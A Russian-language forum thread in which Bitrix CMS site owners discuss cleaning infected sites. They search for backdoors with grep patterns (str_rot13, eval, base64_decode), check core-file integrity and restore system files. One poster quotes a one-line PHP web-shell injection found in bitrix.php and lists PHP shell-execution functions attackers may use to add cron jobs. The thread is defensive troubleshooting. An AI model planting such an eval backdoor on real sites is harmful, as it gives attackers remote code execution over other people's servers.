Форум

vvv476, у Вас на исследуемом сайте стоят все актуальные обновления движка Битрикса?

запросы с CSISO2022KR возможно просто проверочные, так сказать скан по базе доменов на уязвимость
если они есть в логах это ещё не значит, что они отработали и сайт уязвим ...

для проверки осталось только реализовать уязвимость и попробовать на своём сайте :)

сугубо по фактам - мне не попадалось ни одного зараженного сайта с установленными актуальными обновлениями, так что делайте выводы

[QUOTE]Владислав Боднарь написал:
и таких мест может быть миллионвыше был способ поиска по подстроке, похоже единственно реальный метод сейчас[/QUOTE]

да, похоже все последние закладки по str_rot13 находятся - хороший способ
но тем не менее надо сначала фиксить дыры ... следующие закладки будут другие

[QUOTE]Евгений Жуков написал:
Если речь идет о провале тестов на заведомо неизменном проекте - это наша проблема (тикет, фикс)[/QUOTE]

"заведомо неизменном проекте" - улыбнуло, кто же такое в наше время может гарантировать :) ?
разве что, на закрытом сайте :)

Визуально вроде файлы неизменны, тикет уже в работе ... посмотрим чем закончится

[QUOTE]Евгений Жуков написал:
Алексей, а потом люди пойдут в ТП, потому что таким способом корректно восстановить ядро может только она. Я понимаю, что это куда меньшее зло по сравнению с вирусом, но все же.[/QUOTE]

для чего тогда в админке заложен такой функционал?

Кстати, раз уж Вы тут - без помощи ТП как то можно замечания по изменению файлов ядра самому фиксить?

просто сколько я не запускал монитор качества - эта проблема абсолютно везде всплывала, как правило все на неё "забивают"
разве что кроме совсем свежих проектов

вычистить иньекции (.htaccess, php и возможно js)

[QUOTE]ivans23 написал:
Админка bitrix недоступна, только через хостинг.[/QUOTE]

ну это когда восстановите админку - следующий шаг

модифицированность ядра можно посмотреть в мониторе качества
/bitrix/admin/checklist.php?lang=ru

по восстановлению файлов ядра Битрикс - [URL=https://tichiy.ru/wiki/bitriks-proverka-na-modifikatsiyu-yadra-i-vosstanovlenie-sistemnykh-faylov/]статья[/URL]

в 2х словах
/bitrix/admin/update_system.php?BX_SUPPORT_PROTOCOL3=Y
где 3 - день месяца  (сегодня 3)

но у меня чёт не завелось :( как были якобы 4 файла модифицированы, так и остались

[QUOTE]ivans23 написал:
каждый день по новой появляется такое:[/QUOTE]

у меня пусто - какое такое?

[QUOTE]Sergey Steshin написал:
grep -r str_rot13 *[/QUOTE]

я бы чуток модифицировал - искать смысл только в php и вывод в файлик для дальнейшего анализа

[CODE]
grep -rnw str_rot13 ./*.php > rot13.log
[/CODE]

можно ещё "eval(" и "base64_decode(" поискать - тоже часто используют в бэкдорах
но там много будет из не зараженного
у меня в /bitrix/bitrix.php такая инъекция была
@eval($_POST['DOCUMENT_ROOT'];

[QUOTE]Евгений Власов написал:
А вот интересно как на крон они это вешают. Файлы крона выше по структуре.[/QUOTE]

как вариант запуск "crontab -e ..." с помощью одной из команд
exec()
passthru()
proc_open()
shell_exec()
system()